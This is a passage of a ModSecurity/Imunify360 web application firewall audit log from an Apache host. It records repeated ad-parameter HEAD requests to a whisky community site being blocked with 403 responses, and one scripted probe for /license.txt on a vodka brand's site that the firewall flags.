X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--fb705767-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fb705767-E--

--fb705767-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617852428 5569 (- - -)
Stopwatch2: 1789273617852428 5569; combined=4125, p1=251, p2=3522, p3=67, p4=6, p5=279, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb705767-Z--

--de18ab7f-A--
[13/Sep/2026:07:26:57.921515 +0300] aqYmEWM7dE9KgIIOpQhh@wAAANM 151.243.174.201 59540 127.0.0.1 7081
--de18ab7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--de18ab7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--de18ab7f-E--

--de18ab7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617914230 7329 (- - -)
Stopwatch2: 1789273617914230 7329; combined=5121, p1=252, p2=4511, p3=69, p4=7, p5=281, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--de18ab7f-Z--

--b8ee1532-A--
[13/Sep/2026:07:26:58.040708 +0300] aqYmEkwu1RSkptiiNIXv0AAAAIQ 151.243.174.234 59554 127.0.0.1 7081
--b8ee1532-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b8ee1532-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b8ee1532-E--

--b8ee1532-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618032765 7991 (- - -)
Stopwatch2: 1789273618032765 7991; combined=6558, p1=239, p2=5874, p3=78, p4=7, p5=360, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8ee1532-Z--

--5ae79e42-A--
[13/Sep/2026:07:26:58.133378 +0300] aqYmEmM7dE9KgIIOpQhh-QAAAMQ 95.134.102.178 59582 127.0.0.1 7081
--5ae79e42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5ae79e42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5ae79e42-E--

--5ae79e42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618127308 6111 (- - -)
Stopwatch2: 1789273618127308 6111; combined=4528, p1=328, p2=3865, p3=72, p4=7, p5=255, sr=163, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ae79e42-Z--

--ea534d72-A--
[13/Sep/2026:07:26:58.221291 +0300] aqYmEkwu1RSkptiiNIXv0QAAAJM 95.134.102.128 59594 127.0.0.1 7081
--ea534d72-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--ea534d72-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ea534d72-E--

--ea534d72-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618215519 5822 (- - -)
Stopwatch2: 1789273618215519 5822; combined=4480, p1=317, p2=3857, p3=61, p4=6, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea534d72-Z--

--54f9b41d-A--
[13/Sep/2026:07:26:58.377690 +0300] aqYmEisVWymXUono-eRRQgAAAAQ 151.243.174.85 59608 127.0.0.1 7081
--54f9b41d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.85
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--54f9b41d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--54f9b41d-E--

--54f9b41d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618370517 7213 (- - -)
Stopwatch2: 1789273618370517 7213; combined=5646, p1=280, p2=4967, p3=67, p4=7, p5=325, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--54f9b41d-Z--

--d99f0658-A--
[13/Sep/2026:07:26:58.388234 +0300] aqYmEmM7dE9KgIIOpQhh-gAAAMU 95.134.102.128 59618 127.0.0.1 7081
--d99f0658-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d99f0658-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d99f0658-E--

--d99f0658-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618382019 6256 (- - -)
Stopwatch2: 1789273618382019 6256; combined=4627, p1=272, p2=3944, p3=151, p4=9, p5=251, sr=130, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d99f0658-Z--

--7111da76-A--
[13/Sep/2026:07:26:58.494244 +0300] aqYmEmM7dE9KgIIOpQhiAAAAAM0 95.134.102.123 59646 127.0.0.1 7081
--7111da76-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7111da76-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7111da76-E--

--7111da76-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618487576 6725 (- - -)
Stopwatch2: 1789273618487576 6725; combined=4598, p1=283, p2=3912, p3=74, p4=7, p5=322, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7111da76-Z--

--dbd2566e-A--
[13/Sep/2026:07:26:58.769550 +0300] aqYmEmM7dE9KgIIOpQhiAQAAANc 95.134.102.127 59680 127.0.0.1 7081
--dbd2566e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--dbd2566e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--dbd2566e-E--

--dbd2566e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618763087 6502 (- - -)
Stopwatch2: 1789273618763087 6502; combined=4662, p1=304, p2=4014, p3=73, p4=7, p5=264, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dbd2566e-Z--

--963fd72b-A--
[13/Sep/2026:07:26:58.872595 +0300] aqYmEkwu1RSkptiiNIXv0wAAAIY 95.134.102.135 59690 127.0.0.1 7081
--963fd72b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--963fd72b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--963fd72b-E--

--963fd72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618866942 5744 (- - -)
Stopwatch2: 1789273618866942 5744; combined=4215, p1=214, p2=3616, p3=77, p4=6, p5=302, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--963fd72b-Z--

--3f35570e-A--
[13/Sep/2026:07:26:59.612041 +0300] aqYmE2M7dE9KgIIOpQhiBAAAAM8 95.134.102.162 59752 127.0.0.1 7081
--3f35570e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--3f35570e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3f35570e-E--

--3f35570e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273619606127 5961 (- - -)
Stopwatch2: 1789273619606127 5961; combined=4466, p1=246, p2=3805, p3=65, p4=7, p5=343, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3f35570e-Z--

--24bd2350-A--
[13/Sep/2026:07:27:01.138760 +0300] aqYmFSsVWymXUono-eRRSQAAABc 151.243.174.177 59836 127.0.0.1 7081
--24bd2350-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--24bd2350-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--24bd2350-E--

--24bd2350-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621129748 9073 (- - -)
Stopwatch2: 1789273621129748 9073; combined=6844, p1=238, p2=6124, p3=110, p4=9, p5=363, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24bd2350-Z--

--b5416f5d-A--
[13/Sep/2026:07:27:01.255851 +0300] aqYmFSsVWymXUono-eRRSgAAABg 151.243.174.221 59838 127.0.0.1 7081
--b5416f5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b5416f5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b5416f5d-E--

--b5416f5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621244799 11109 (- - -)
Stopwatch2: 1789273621244799 11109; combined=7358, p1=826, p2=5970, p3=110, p4=11, p5=441, sr=387, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b5416f5d-Z--

--1dd5fe3a-A--
[13/Sep/2026:07:27:01.382359 +0300] aqYmFWM7dE9KgIIOpQhiBwAAAMY 95.134.102.127 59844 127.0.0.1 7081
--1dd5fe3a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--1dd5fe3a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1dd5fe3a-E--

--1dd5fe3a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273621367802 14612 (- - -)
Stopwatch2: 1789273621367802 14612; combined=10743, p1=308, p2=5401, p3=140, p4=13, p5=4880, sr=132, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1dd5fe3a-Z--

--34835178-A--
[13/Sep/2026:07:27:04.329447 +0300] aqYmGEwu1RSkptiiNIXv1gAAAJg 45.91.4.237 59898 127.0.0.1 7081
--34835178-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.237
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--34835178-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--34835178-E--

--34835178-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624323572 5921 (- - -)
Stopwatch2: 1789273624323572 5921; combined=4401, p1=269, p2=3776, p3=61, p4=7, p5=288, sr=135, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34835178-Z--

--81ba8924-A--
[13/Sep/2026:07:27:04.641525 +0300] aqYmGEwu1RSkptiiNIXv2AAAAIU 209.101.128.77 59918 127.0.0.1 7081
--81ba8924-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.77
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--81ba8924-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--81ba8924-E--

--81ba8924-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624636062 5508 (- - -)
Stopwatch2: 1789273624636062 5508; combined=4107, p1=224, p2=3535, p3=63, p4=6, p5=279, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ba8924-Z--

--d8877130-A--
[13/Sep/2026:07:27:04.899524 +0300] aqYmGGM7dE9KgIIOpQhiCwAAANE 45.91.4.188 59926 127.0.0.1 7081
--d8877130-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.188
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d8877130-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d8877130-E--

--d8877130-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273624893747 5819 (- - -)
Stopwatch2: 1789273624893747 5819; combined=4207, p1=249, p2=3622, p3=61, p4=6, p5=269, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8877130-Z--

--86491e47-A--
[13/Sep/2026:07:27:14.432971 +0300] aqYmImM7dE9KgIIOpQhiDgAAANc 188.166.231.242 38348 127.0.0.1 7081
--86491e47-B--
GET /license.txt HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1

--86491e47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--86491e47-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/license.txt"] [unique_id "aqYmImM7dE9KgIIOpQhiDgAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789273634338922 94095 (- - -)
Stopwatch2: 1789273634338922 94095; combined=4207, p1=258, p2=3894, p3=0, p4=0, p5=55, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--86491e47-Z--

--e2fce057-A--
[13/Sep/2026:07:27:57.308271 +0300] aqYmTWM7dE9KgIIOpQhiEgAAANU 45.91.4.62 44354 127.0.0.1 7081
--e2fce057-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.62
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e2fce057-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e2fce057-E--

--e2fce057-H--
